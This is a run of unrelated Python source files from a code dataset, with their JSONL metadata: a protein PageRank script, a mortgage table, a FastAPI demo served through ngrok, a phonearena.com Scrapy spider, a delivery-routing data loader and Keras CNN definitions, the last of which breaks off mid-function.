np.array(list_matrix)\t\n\n\n\tdef remove_dead_ends(self):\n\t\t'''\n\t\tIteratively remove all the dead ends (vertices with no links coming out)\n\t\t'''\n\t\tself.removed_vertices = set()\n\t\tcanStop = False # stop when all of the dead ends are removed\n\t\twhile (not canStop):\n\t\t\tcols_to_remove = []\n\t\t\tfor col in range(len(self.np_protein_mat)):\n\t\t\t\tcolumn = self.np_protein_mat[:, col]\n\t\t\t\t# if there's no out links, remove\n\t\t\t\tif (not np.any(column)):\n\t\t\t\t\tcols_to_remove.append(col)\n\t\t\t\t\tself.mat_remove(col)\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t# if there's no dead ends\n\t\t\tif (len(cols_to_remove) == 0):\n\t\t\t\tcanStop = True\n\n\t\tprint (\"Number of unique proteins after removing dead ends: \", len(self.np_protein_mat))\n\n\n\tdef mat_remove(self, col):\n\t\tself.removed_vertices.add(self.idx_protein_dict_new[col])\n\t\tself.update_bidict(col) \n\t\tself.np_protein_mat = scipy.delete(self.np_protein_mat, col, 1)\n\t\tself.np_protein_mat = scipy.delete(self.np_protein_mat, col, 0)\n\t\tself.recreate_matrix()\n\t\tprint (\"removed the dead end: \", col)\n\n\n\tdef update_bidict(self, i):\n\t\t'''\n\t\tUpdate two dictionaries after removing dead ends\n\t\t@ param\n\t\t\t- i : the column number that is removed\n\t\t'''\n\t\tnew_idx_protein_dict = dict()\n\t\tfor k, v in self.idx_protein_dict_new.items():\n\t\t\tif k > i:\n\t\t\t\tk -= 1\n\t\t\t\tnew_idx_protein_dict[k] = v\n\t\t\tif k < i:\n\t\t\t\tnew_idx_protein_dict[k] = v\n\n\t\tself.idx_protein_dict_new = new_idx_protein_dict\n\n\t\tnew_protein_idx_dict = dict()\n\t\tfor k, v in self.protein_idx_dict_new.items():\n\t\t\tif v > i:\n\t\t\t\tv -= 1\n\t\t\t\tnew_protein_idx_dict[k] = v\n\t\t\tif v < i:\n\t\t\t\tnew_protein_idx_dict[k] = v\n\t\tself.protein_idx_dict_new = new_protein_idx_dict\n\n\n\tdef recreate_matrix(self):\n\t\t'''\n\t\tRe-create a numpy matrix after dead ends are removed\n\t\t'''\n\n\t\t# initialize the matrix\n\t\t# rows are destinations and columns are sources\n\t\tlist_matrix = []\n\t\tfor i in range(len(self.np_protein_mat)):\n\t\t\tlist_inside = [0]*len(self.np_protein_mat)\n\t\t\tlist_matrix.append(list_inside)\n\t\t\n\t\tfor src, dest_set in self.protein_link_dict.items():\n\t\t\t# print (\"src: \", src, \" dest: \", dest_set)\n\t\t\tif (src not in self.removed_vertices):\n\t\t\t\tsrc_idx = self.protein_idx_dict_new[src]\n\t\t\t\tlen_dest_set_minus_removed = dest_set.difference(self.removed_vertices)\n\t\t\t\tfor dest in dest_set:\n\t\t\t\t\tif (dest not in self.removed_vertices):\n\t\t\t\t\t\tdest_idx = self.protein_idx_dict_new[dest]\n\t\t\t\t\t\tlist_matrix[dest_idx][src_idx] = 1/len(len_dest_set_minus_removed)\n\t\t\n\t\t# Create a numpy array\n\t\tself.np_protein_mat = np.array(list_matrix)\n\n\n\tdef iterate_mat(self, beta_param):\n\t\t'''\n\t\tUsing iterative method using the equation during the class\n\t\tdo this iteration for self.iters time\n\n\t\t'''\n\t\tinit_vec = [1/len(self.np_protein_mat)]*(len(self.np_protein_mat))\n\t\tinit_vec = np.array(init_vec)\n\t\te = [1/len(self.np_protein_mat)]*(len(self.np_protein_mat))\n\t\te = np.array(e)\n\n\t\tmy_vec = np.array(init_vec)\n\t\tfor i in range(self.iters):\n\t\t\tfirst = beta_param*(self.np_protein_mat.dot(my_vec))\n\t\t\tsecond = (1-(beta_param))*e\n\t\t\tmy_vec = first + second\n\t\t\n\t\t# my_vec is the rank for each protein\n\t\tself.my_protein_rank = my_vec\n\t\tprint (\"final rank: \")\n\t\tprint (self.my_protein_rank)\n\t\tprint (len(self.my_protein_rank))\n \n\n\tdef num_highest(self, number):\n\t\t'''\n\t\tFind the top 5 ranks\n\t\t'''\n\t\tnum_high = -number\n\t\ttop_ind = np.argpartition(self.my_protein_rank, num_high)[num_high:]\n\t\treal_value = self.my_protein_rank[top_ind]\n\t\tprint (\"real_value: \", real_value)\n\t\tprint ()\n\t\tprint (\" ---------------------------------------------- \")\n\t\ti = 0\n\t\tfor ind in top_ind:\n\t\t\tprint (\"Protein: \", self.idx_protein_dict_new[ind], \" pageRank: \", real_value[i])\n\t\t\ti += 1\n\t\tprint (\" ---------------------------------------------- \")\n\n\n\tdef draw_histogram(self):\n\t\t''' \n\t\tDraw histogram of the distribution\n\t\t''' \n\t\tx_axis = []\n\t\tfor i in range(len(self.my_protein_rank)):\n\t\t\t# x_axis.append(self.idx_protein_dict_new[i])\n\t\t\tx_axis.append(i)\n\n\t\t# Barplot\n\t\tplt.bar(x_axis, self.my_protein_rank, width=1, align='center', color='brown')\n\t\tplt.ylabel(\"pageRank\")\n\t\tplt.xlabel(\"proteins (index of proteins)\")\n\t\tplt.title(\"Bar plot of pageRank\")\n\t\tplt.show()\n\n\t\t# Histogram\n\t\tplt.hist(self.my_protein_rank)\n\t\tplt.xlabel(\"pageRank\")\n\t\tplt.ylabel(\"Frequency\")\n\t\tplt.title(\"Histogram of pageRank\")\n\t\tplt.show()\n\n\ndef main():\n\tprotein_data = open(\"test2.txt\", \"r\")\n\tbeta = sys.argv[1]\n\titers = sys.argv[2]\n\tPR_class = PR(protein_data, beta, iters)\n\tPR_class.parse_matrix()\n\tPR_class.create_matrix()\n\t# PR_class.remove_dead_ends()\n\ta_value = []\n\tfor i in range(1, 9):\n\t\tbeta = i/10\n\t\tPR_class.iterate_mat(beta)\n\t\ta_value.append(PR_class.my_protein_rank[0])\n\tplt.scatter([1,2,3,4,5,6,7,8],a_value)\n\tplt.show()\n\tPR_class.num_highest(3)\n\t# PR_class.draw_histogram()\n\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"page_rank/pageRank.py","file_name":"pageRank.py","file_ext":"py","file_size_in_byte":6910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"77681595","text":"import mortgage\n\n# read inputs from command line\nprice = float(input('Home price: '))\ndown_min = float(input('Minimum down payment: '))\ndown_max = float(input('Maximum down payment: '))\nrate = float(input('Interest rate: '))\nterm = float(input('Loan term (years): '))\n\nrate = rate / 100 / 12\n\n# use range function to enumerate down payments\nfor down in range(int(down_min), int(down_max), 1000):\n loan = price - down\n payment = mortgage.mortgage_payment(loan, rate, term*12)\n\n print(down, round(payment, 2))\n","sub_path":"PS_2/s18-a02-solutions-master/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"649518882","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nimport nest_asyncio\nfrom pyngrok import ngrok\nimport uvicorn\n\napp = FastAPI()\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=['*'],\n allow_credentials=True,\n allow_methods=['*'],\n allow_headers=['*'],\n)\n\n@app.get('/')\nasync def root():\n return {'hello': 'world'}\n\n# Request body\n\nclass Item(BaseModel):\n name: str\n description: str = None\n price: float\n tax: float = None\n\n\n@app.post(\"/items/\")\nasync def create_item(item: Item):\n item_dict = item.dict()\n if item.tax:\n total = item.price + item.tax\n item_dict.update({\"TotalAmount\" : total})\n return item_dict\n\nngrok_tunnel = ngrok.connect(8000)\nprint('Public URL:', ngrok_tunnel.public_url)\nnest_asyncio.apply()\nuvicorn.run(app, port=8000)\n","sub_path":"RequestBody.py","file_name":"RequestBody.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"341652252","text":"from scrapy import Spider\nfrom scrapy.selector import Selector\nfrom scrapy.http import HtmlResponse, Request\nimport json\nfrom techreview.items import TecSpecsItem\n\nclass GsmArenaSpider(Spider):\n\tname = \"phonearena\"\n\tallowed_domains = [\"http://www.phonearena.com/\", \"www.phonearena.com\", \"phonearena.com\"]\n\tstart_urls = [\"http://www.phonearena.com/phones/manufacturers\"]\n\n\tdef parse(self, response):\t\t\n\t\tselector = Selector(response=response)\n\n\t\t# extract brand on current page\n\t\tbrands = selector.xpath('//div[@id=\"brands\"]/div[@class=\"s_listing\"]/div[contains(@class, \"s_block_4\")]/div[@class=\"s_hover\"]')\n\t\tfor brand in brands:\n\t\t\tbrandLink = (brand.xpath('.//a[@class=\"s_thumb\"]/@href').extract())[0]\n\t\t\tbrandName = (brand.xpath('(.//a)[2]//text()').extract())[0]\n\n\t\t\tyield Request(\"http://www.phonearena.com\" + brandLink + \"/?filter_class[]=1223\", meta={'product': 'Cellphones', 'brand': brandName}, callback=self.parseBrandItems)\n\t\t\tyield Request(\"http://www.phonearena.com\" + brandLink + \"/?filter_class[]=1612\", meta={'product': 'Tablets','brand': brandName}, callback=self.parseBrandItems)\n\t\t\n\tdef parseBrandItems(self, response):\n\t\tproduct = response.meta['product']\n\t\tbrand = response.meta['brand']\n\n\t\tselector = Selector(response=response)\n\n\t\tphones = selector.xpath('//div[@id=\"phones\"]/div[@class=\"s_listing\"]/div[contains(@class, \"s_block_4\")]/h3')\n\t\tfor phone in phones:\n\t\t\tphoneLink = (phone.xpath('.//a[not(*)]/@href').extract())[0]\n\t\t\tphoneName = (phone.xpath('.//a[not(*)]//text()').extract())[0]\n\n\t\t\titem = TecSpecsItem()\n\t\t\titem[\"product\"] = product\n\t\t\titem[\"brand\"] = brand\n\t\t\titem[\"name\"] = phoneName\n\t\t\titem[\"source\"] = 0\n\n\t\t\tyield Request(\"http://www.phonearena.com\" + phoneLink, meta={'item': item}, callback=self.parseItemSpecs)\n\n\n\t\tnextPageLink = selector.xpath('//li[@class=\"s_next\"]/a/@href').extract()\n\t\tif len(nextPageLink) > 0:\n\t\t\tyield Request(\"http://www.phonearena.com\" + nextPageLink[0], meta={'product': product, 'brand': brand}, callback=self.parseBrandItems)\n\n\tdef callnext(self, response):\n\t\tmeta = response.request.meta\n\n\t\tif len(meta[\"callstack\"]) > 0:\n\t\t\ttarget = meta[\"callstack\"].pop()\n\t\t\tyield Request(\"http://www.phonearena.com\" + target['url'], meta = meta, callback=target['callback'])\n\t\telse:\n\t\t\tyield meta[\"item\"]\n\n\tdef parseItemSpecs(self, response):\n\t\titem = response.meta[\"item\"]\n\t\t\n\t\tselector = Selector(response=response)\n\n\n\t\t# get pros and cons\n\t\tpros = []\n\t\tcons = []\n\n\t\tproscons_node = selector.xpath('//div[@class=\"proscons\"]')\n\t\tpros_nodes = proscons_node.xpath('.//ul[@class=\"s_pros_list\"]/li')\n\t\tfor node in pros_nodes:\n\t\t\tpros.append((node.xpath('.//text()').extract())[0])\n\n\t\tcons_nodes = proscons_node.xpath('.//ul[@class=\"s_cons_list\"]/li')\n\t\tfor node in cons_nodes:\n\t\t\tcons.append((node.xpath('.//text()').extract())[0])\t\t\n\n\t\titem[\"pros\"] = pros\n\t\titem[\"cons\"] = cons\n\n\t\t# get images\n\t\titem[\"images\"] = selector.xpath('//div[@class=\"lcimg\"]/a[@class=\"pics\"]/@href').extract()\n\t\titem[\"thumbnail\"] = selector.xpath('//div[@class=\"lcimg\"]/a[@class=\"pics\"]/img/@src').extract()\n\n\t\t# get stats\n\t\titem[\"stats\"] = selector.xpath('//div[@id=\"have_it\"]/div/a[contains(@class, \"number\")]//text()').extract()\n\n\t\t# getting urls to parse other information\n\t\tphonetabs = selector.xpath('//div[@class=\"phonetabs\"]/div[contains(@class, \"s_tabs\")]/ul')\n\t\t\n\t\tsizeUrl = phonetabs.xpath('.//li/a[text()[contains(.,\"Size\")]]/@href').extract()\n\t\tbenchmarksUrl = phonetabs.xpath('.//li/a[text()[contains(.,\"Benchmarks\")]]/@href').extract()\n\t\tvideosUrl = phonetabs.xpath('.//li/a[text()[contains(.,\"Video\")]]/@href').extract()\n\n\t\t# building up callstack\n\t\tcallstack = []\n\t\tif len(sizeUrl) > 0 and sizeUrl[0] != \"javascript:;\":\n\t\t\tcallstack.append({'url': sizeUrl[0], 'callback': self.parseItemSize})\n\t\t\n\t\tif len(benchmarksUrl) > 0 and benchmarksUrl[0] != \"javascript:;\":\n\t\t\tcallstack.append({'url': benchmarksUrl[0], 'callback': self.parseItemBenchmarks})\n\t\t\n\t\tif len(videosUrl) > 0 and videosUrl[0] != \"javascript:;\":\n\t\t\tcallstack.append({'url': videosUrl[0], 'callback': self.parseItemVideos})\n\n\t\tresponse.request.meta[\"item\"] = item\n\t\tresponse.request.meta[\"callstack\"] = callstack\n\t\treturn self.callnext(response)\n\n\tdef parseItemSize(self, response):\n\t\titem = response.meta['item']\n\n\t\tselector = Selector(response=response)\n\n\t\tsz_phone = selector.xpath('//div[@class=\"standart_view\"]/ul[contains(@class, \"sizecompare\")]/li[@class=\"sz_phone\"]')\n\t\tif len(sz_phone) > 0:\n\t\t\titem[\"size_images\"] = sz_phone[0].xpath('.//img/@src').extract()\n\n\t\treturn self.callnext(response)\n\n\tdef parseItemBenchmarks(self, response):\n\t\titem = response.meta['item']\n\n\t\tphoneName = \"{0} {1}\".format(item[\"brand\"], item[\"name\"])\n\t\t\n\t\tselector = Selector(response=response)\n\t\tbenchmark_topaccordeon = selector.xpath('//li[a[@class=\"acc_toggle\" and following-sibling::div[contains(@class, \"accordeon \")]]]')\n\n\t\tbenchmarks = []\n\t\tfor i in range(len(benchmark_topaccordeon)):\n\t\t\taccordeon = benchmark_topaccordeon[i]\n\t\t\t\n\t\t\tbench = {}\n\t\t\tbench[\"title\"] = (accordeon.xpath('.//a/span[@class=\"title\"]//text()').extract())[0].strip()\n\t\t\tbench[\"data\"] = []\n\n\t\t\tif i == 0 or i == 1 or i == 4:\n\t\t\t\ttable = accordeon.xpath('.//table[contains(@class, \"benchmark_table\")]')\n\t\t\t\tif table:\n\t\t\t\t\ttb_header = table.xpath('.//thead/tr/th[descendant::*]')\n\t\t\t\t\t\n\t\t\t\t\tphones = table.xpath('.//tbody/tr')\n\t\t\t\t\tfor phone in phones:\n\t\t\t\t\t\tname = (phone.xpath('.//th//text()').extract())[0].strip()\n\t\t\t\t\t\tif name == phoneName:\n\t\t\t\t\t\t\ttb_benchmark = phone.xpath('.//td[@class=\"benchmark_tb\"]')\n\t\t\t\t\t\n\t\t\t\t\t\t\tfor header, benchmark in zip(tb_header, tb_benchmark):\n\t\t\t\t\t\t\t\tscore = benchmark.xpath('.//strong/text()').extract()\n\t\t\t\t\t\t\t\tscore_des = benchmark.xpath('.//span/text()').extract()\n\n\t\t\t\t\t\t\t\ttitle = header.xpath('.//*[self::span[contains(@class,\"title\")] | self::a[contains(@class,\"title\")]]/text()').extract()\n\t\t\t\t\t\t\t\ttitle_des = header.xpath('.//span[@class=\"wichisbetter\"]//text()').extract()\n\n\t\t\t\t\t\t\t\tbench[\"data\"].append({\"title\": title[0].strip() if len(title) > 0 else \"\", \\\n\t\t\t\t\t\t\t\t\t\t\t\"title_des\": title_des[0].strip() if len(title_des) > 0 else \"\", \\\n\t\t\t\t\t\t\t\t\t\t\t\"score\": score[0].strip() if len(score) > 0 else \"\" , \\\n\t\t\t\t\t\t\t\t\t\t\t\"score_des\": score_des[0].strip() if len(score_des) > 0 else \"\"})\n\t\t\telif i == 3 or i == 5:\n\t\t\t\tcharts = accordeon.xpath('.//table/tr')\n\t\t\t\tfor chart in charts:\n\t\t\t\t\tch_header = chart.xpath('.//td[1]')\n\t\t\t\t\tch_benchmark = chart.xpath('.//td[2]')\n\n\t\t\t\t\ttitle = ch_header.xpath('.//div[contains(@class,\"name\")]/text()').extract()\n\t\t\t\t\ttitle_des = ch_header.xpath('.//span[@class=\"wichisbetter\"]//text()').extract()\n\n\t\t\t\t\tphones = ch_benchmark.xpath('.//div[@class=\"score\"]')\n\t\t\t\t\tfor phone in phones:\n\t\t\t\t\t\tname = (phone.xpath('.//span[contains(@class, \"bar\")]//text()').extract())[0].strip()\n\t\t\t\t\t\tif name == phoneName:\n\t\t\t\t\t\t\tscore = (phone.xpath('.//span[contains(@class, \"stext\")]/text()').extract())\n\t\t\t\t\t\t\tbench[\"data\"].append({\"title\": title[0].strip() if len(title) > 0 else \"\",\\\n\t\t\t\t\t\t\t\t\t\t\"title_des\": title_des[0].strip() if len(title_des) > 0 else \"\", \\\n\t\t\t\t\t\t\t\t\t\t\"score\": score[0].strip() if len(score) > 0 else \"\", \"score_des\": \"\"})\n\t\t\t\t\t\t\tbreak\n\t\t\telif i == 6:\n\t\t\t\ttitles = [\"\", \"Battery Life\", \"\", \"Charging Time\"]\n\t\t\t\ttables = accordeon.xpath('.//table')\n\t\t\t\tfor i in range(len(tables)):\n\t\t\t\t\tif i == 0 or i == 2:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\ttable = tables[i]\n\t\t\t\t\ttb_benchmark = table.xpath('.//tr')\n\t\t\t\t\tfor benchmark in tb_benchmark:\n\t\t\t\t\t\tname = (benchmark.xpath('.//div[@class=\"name\"]//text()').extract())[0].strip()\n\t\t\t\t\t\tif name == phoneName:\n\t\t\t\t\t\t\tscore = (benchmark.xpath('.//span[contains(@class, \"stext\")]/text()').extract())\n\t\t\t\t\t\t\tscore_des = (benchmark.xpath('.//span[contains(@class, \"stext\")]/span/text()').extract())\n\n\t\t\t\t\t\t\tbench[\"data\"].append({\"score\": score[0].strip() if len(score) > 0 else \"\", \\\n\t\t\t\t\t\t\t\t\t\t\t\t\"score_des\": score_des[0].strip() if len(score_des) > 0 else \"\", \\\n\t\t\t\t\t\t\t\t\t\t\t\t\"title\" : titles[i]})\n\t\t\t\t\t\t\tbreak\n\n\n\n\t\t\tbenchmarks.append(bench)\n\t\t\n\t\titem[\"benchmarks\"] = benchmarks\n\n\t\treturn self.callnext(response)\n\n\tdef parseItemVideos(self, response):\n\t\titem = response.meta['item']\n\t\t\n\t\tselector = Selector(response=response)\n\t\tvideo_nodes = selector.xpath('//*[@id=\"yt-thumbs\"]/div')\n\n\t\tyt_videos = []\n\t\tfor node in video_nodes:\n\t\t\tyt_id = node.xpath('.//a[contains(@class, \"yt_show\")]/@vid').extract()\n\t\t\ttitle = node.xpath('.//a[contains(@class, \"yt_show\")]/@title').extract()\n\t\t\tthumbnail = node.xpath('.//img/@src').extract()\n\n\t\t\tyt_videos.append({'yt_id': yt_id[0] if len(yt_id) > 0 else \"\", \\\n\t\t\t\t\t\t\t'title': title[0] if len(title) > 0 else \"\", \\\n\t\t\t\t\t\t\t'thumbnail': thumbnail[0] if len(thumbnail) > 0 else \"\"})\n\n\t\titem[\"yt_videos\"] = yt_videos\n\n\t\treturn self.callnext(response)","sub_path":"build/lib.linux-x86_64-2.7/techreview/spiders/PhoneArenaSpider.py","file_name":"PhoneArenaSpider.py","file_ext":"py","file_size_in_byte":8677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"625888177","text":"from __future__ import annotations\nfrom datetime import timedelta\nfrom json import load\nfrom os import path\nfrom typing import Any, Mapping\n\nfrom wgups.structures.clock import Clock\nfrom wgups.structures.hash_set import HashSet\nfrom wgups.routing.package import Package\n\nDistances = HashSet[str, HashSet[str, str]]\nPackages = HashSet[int, Package]\nPrompts = HashSet[str, str]\n\n\nclass DataLoader:\n \"\"\"A class for loading external data into the application. Utilizes a cache to ensure\n that data is ever only loaded once.\n\n Class Attributes\n ----------------\n cache : HashSet[str, Any]\n The cache which handles storing file data.\n \"\"\"\n\n cache = HashSet[str, Any]()\n\n @classmethod\n def load_json(cls, filename) -> Mapping[Any, Any]:\n \"\"\"Attempts to retrieve the file from the cache. Loads the file data if it is not\n present in the cache.\n\n Returns\n -------\n Mapping[Any, Any]\n The JSON file data.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n file_path = path.join(path.dirname(__file__), filename)\n\n with open(file_path, 'r') as file:\n return load(file)\n\n @classmethod\n def get_packages(cls) -> Packages:\n \"\"\"Attempts to retrieve the packages from the cache. Loads the package data from a file\n if it is not present in the cache.\n\n Returns\n -------\n HashSet[int, str]\n The mapping of package identifiers to package objects.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n if 'packages' not in cls.cache:\n cls.cache.set('packages', cls.load_packages())\n\n return cls.cache.get('packages')\n\n @classmethod\n def load_packages(cls) -> Packages:\n \"\"\"Loads the package data from a file.\n\n Returns\n -------\n HashSet[int, str]\n The mapping of package identifiers to package objects.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n data = cls.load_json('data/package_data.json')\n size = len(data)\n packages = HashSet(size)\n\n for key, value in data.items():\n identifier = int(key)\n\n (hours, minutes) = map(int, value['deadline'].split(':'))\n deadline = Clock(hours, minutes)\n\n package = Package(\n identifier,\n value['address'],\n value['city'],\n value['state'],\n value['zip'],\n value['kg'],\n deadline,\n )\n\n # Delayed packages - will not arrive at depot until 09:05\n if package.id in [6, 25, 28, 32]:\n package.arrival_time = Clock(9, 5)\n\n # Incorrect address - will be corrected at 10:20\n if package.id == 9:\n package.street = '410 S State St'\n package.arrival_time = Clock(10, 20)\n\n # Package must be delivered via truck two\n if package.id in [3, 18, 36, 38]:\n package.deliverable_by = [2]\n package.is_priority = True\n\n # Package must be delivered with linked packages\n if package.id in [13, 14, 15, 16, 19, 20]:\n package.linked = True\n package.is_priority = True\n\n packages.set(identifier, package)\n\n return packages\n\n @classmethod\n def get_distances(cls) -> Distances:\n \"\"\"Attempts to retrieve the distances from the cache. Loads the distance data from a file\n if it is not present in the cache.\n\n Returns\n -------\n HashSet[str, HashSet[str, str]]\n The mapping of from and to addresses and the corresponding distance between them.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n if 'distances' not in cls.cache:\n cls.cache.set('distances', cls.load_distances())\n\n return cls.cache.get('distances')\n\n @classmethod\n def load_distances(cls) -> Distances:\n \"\"\"Loads the distance data from a file.\n\n Returns\n -------\n HashSet[str, HashSet[str, str]]\n The mapping of from and to addresses and the corresponding distance between them.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n data = cls.load_json('data/distance_data.json')\n size = len(data)\n distances = HashSet(size)\n\n for from_address, destinations in data.items():\n if from_address not in distances:\n distances.set(from_address, HashSet(size))\n\n for to_address, miles in destinations.items():\n distances.get(from_address).set(to_address, miles)\n\n return distances\n\n @classmethod\n def get_prompts(cls) -> Prompts:\n \"\"\"Attempts to retrieve the prompts from the cache. Loads the prompt data from a file\n if it is not present in the cache.\n\n Returns\n -------\n HashSet[str, str]\n The mapping of prompt names to prompt values.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n if 'prompts' not in cls.cache:\n cls.cache.set('prompts', cls.load_prompts())\n\n return cls.cache.get('prompts')\n\n @classmethod\n def load_prompts(cls) -> Prompts:\n \"\"\"Loads the prompt data from a file.\n\n Returns\n -------\n HashSet[str, str]\n The mapping of prompt names to prompt values.\n\n Space Complexity\n ---------------\n O(n)\n\n Time Complexity\n ---------------\n O(n)\n \"\"\"\n data = cls.load_json('data/prompts.json')\n size = len(data)\n prompts = HashSet(size)\n\n for key, value in data.items():\n prompts.set(key, value)\n\n return prompts\n","sub_path":"wgups/data/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":6360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"256487073","text":"from keras.models import Sequential\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.convolutional import MaxPooling2D\nfrom keras.layers.core import Activation\nfrom keras.layers.core import Flatten\nfrom keras.layers.core import Dense\nfrom keras.layers import Concatenate\nfrom keras import backend as K\nimport matplotlib\nfrom keras.layers import LeakyReLU\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.callbacks import EarlyStopping\nfrom keras.optimizers import Adam, SGD, RMSprop, Adagrad, Adadelta\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport argparse\nimport sys\nfrom math import ceil\n# sys.path.append('..')\n# matplotlib.use(\"Agg\")\nfrom keras.models import Model\nfrom keras.layers import Input, Dense, concatenate\n\n\ndef args_parse():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-m\", \"--model\", required=False,\n help=\"path to output model\")\n ap.add_argument(\"-p\", \"--plot\", type=str, default=\"plot.png\",\n help=\"path to output accuracy/loss plot\")\n args = vars(ap.parse_args())\n return args\n\n\nclass LeNet:\n @staticmethod\n def build(width, height, depth, classes = 5):\n model = Sequential()\n inputShape = (height, width, depth)\n if K.image_data_format() == \"channels_first\":\n inputShape = (depth, height, width)\n\n # first set of CONV => RELU => POOL layers\n model.add(Conv2D(20, (5, 5), padding=\"same\", input_shape=inputShape))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n # second set of CONV => RELU => POOL layers\n model.add(Conv2D(50, (5, 5), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n # first (and only) set of FC => RELU layers\n model.add(Flatten())\n model.add(Dense(500))\n model.add(Activation(\"relu\"))\n\n # activation function\n model.add(Dense(CLASS_NUM))\n model.add(Activation(\"softmax\"))\n return model\n\ndef generator_three_img(gen1):\n\n while True:\n X1i = gen1.next()\n X2i = X1i\n X3i = X1i\n yield [X1i[0], X2i[0], X3i[0]], X1i[1]\n\ndef model1(width, height, depth):\n inputShape = (height, width, depth)\n if K.image_data_format() == \"channels_first\":\n inputShape = (depth, height, width)\n\n\n top_branch_input = Input(shape=inputShape, name='Top')\n top_branch_output = Conv2D(4, (7, 3), padding='same',strides=(2, 2),activation='relu')(top_branch_input)\n\n middle_branch_input = Input(shape=inputShape, name='Middle')\n middle_branch_output = Conv2D(8, (5, 5), padding='same', strides=(2, 2),activation='relu')(middle_branch_input)\n\n bottom_branch_input = Input(shape=inputShape, name='Bottom')\n bottom_branch_output = Conv2D(4, (3, 7), padding='same', strides=(2, 2), activation='relu')(bottom_branch_input)\n\n concat = concatenate([top_branch_output, middle_branch_output,bottom_branch_output], name='Concatenate')\n\n conv1 = Conv2D(32, (3, 3), strides=(2, 2), padding='same', activation='relu')(concat)\n conv2 = Conv2D(64, (3, 3), strides=(2, 2), padding='same', activation='relu')(conv1)\n flattern = Flatten()(conv2)\n dense1 = Dense(500, activation='relu')(flattern)\n dense2 = Dense(128, activation='relu')(dense1)\n final_model_output = Dense(CLASS_NUM, activation='softmax')(dense2)\n final_model = Model(inputs=[top_branch_input, middle_branch_input,bottom_branch_input], outputs=final_model_output,\n name='Final_output')\n return final_model\n \n \ndef model2(width, height, depth):\n inputShape = (height, width, depth)\n if K.image_data_format() == \"channels_first\":\n inputShape = (depth, height, width)\n\n\n top_branch_input = Input(shape=inputShape, name='Top')\n top_branch_output = Conv2D(4, (7, 3), padding='same',strides=(2, 2))(top_branch_input)\n top_branch_output = LeakyReLU(0.2)(top_branch_output)\n\n middle_branch_input = Input(shape=inputShape, name='Middle')\n middle_branch_output = Conv2D(8, (5, 5), padding='same', strides=(2, 2))(middle_branch_input)\n middle_branch_output = LeakyReLU(0.2)(middle_branch_output)\n\n bottom_branch_input = Input(shape=inputShape, name='Bottom')\n bottom_branch_output = Conv2D(4, (3, 7), padding='same', strides=(2, 2))(bottom_branch_input)\n bottom_branch_output = LeakyReLU(0.2)(bottom_branch_output)\n\n concat = concatenate([top_branch_output, middle_branch_output,bottom_branch_output], name='Concatenate')\n\n conv1 = Conv2D(32, (3, 3), strides=(2, 2), padding='same', activation='relu')(concat)\n conv2 = Conv2D(64, (3, 3), strides=(2, 2), padding='same', activation='relu')(conv1)\n flattern = Flatten()(conv2)\n dense1 = Dense(500, activation='relu')(flattern)\n dense2 = Dense(128, activation='relu')(dense1)\n final_model_output = Dense(CLASS_NUM, activation='softmax')(dense2)\n final_model = Model(inputs=[top_branch_input, middle_branch_input,bottom_branch_input], outputs=final_model_output,\n name='Final_output')\n return final_model\n\n\n\nclass AKNet:\n @staticmethod\n def build(width, height, depth, classes):\n kernel1 = Sequential()\n kernel2 = Sequential()\n kernel3 = Sequential()\n model = Sequential()\n\n\n inputShape = (height, width, depth)\n if K.image_data_format() == \"channels_first\":\n inputShape = (depth, height, width)\n\n # first set of CONV => RELU => POOL layers\n kernel1.add(Conv2D(8, (5, 5), padding='same',strides=(2,2), input_shape=inputShape, activation='relu'))\n kernel2.add(Conv2D(4, (3, 7), padding='same',strides=(2,2),input_shape=inputShape, activation='relu'))\n kernel3.add(Conv2D(4, (7, 3), padding='same',strides=(2,2), input_shape=inputShape, activation='relu'))\n\n merged = Concatenate([kernel1, kernel2,kernel3])\n\n model.add(merged)\n model.add(Conv2D(32,(3, 3), padding=\"same\",strides=(2,2), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n model.add(Conv2D(32, (3, 3), padding=\"same\",strides=(2,2), activation='relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n\n model.add(Flatten())\n model.add(Dense(96))\n model.add(Dense(16))\n\n\n model.add(Dense(CLASS_NUM))\n model.add(Activation(\"softmax\"))\n return model\n\n\n# parameters\nEPOCHS = 2000\nINIT_LR = 1e-3\nBS = 128\nCLASS_NUM = 5\nnorm_size = 32\nsteps_per_epoch = ceil(1126618 / BS)\nvalidation_step= ceil(281651 / BS)\ndef eachFile(filepath):\n out = []\n for allDir in filepath:\n 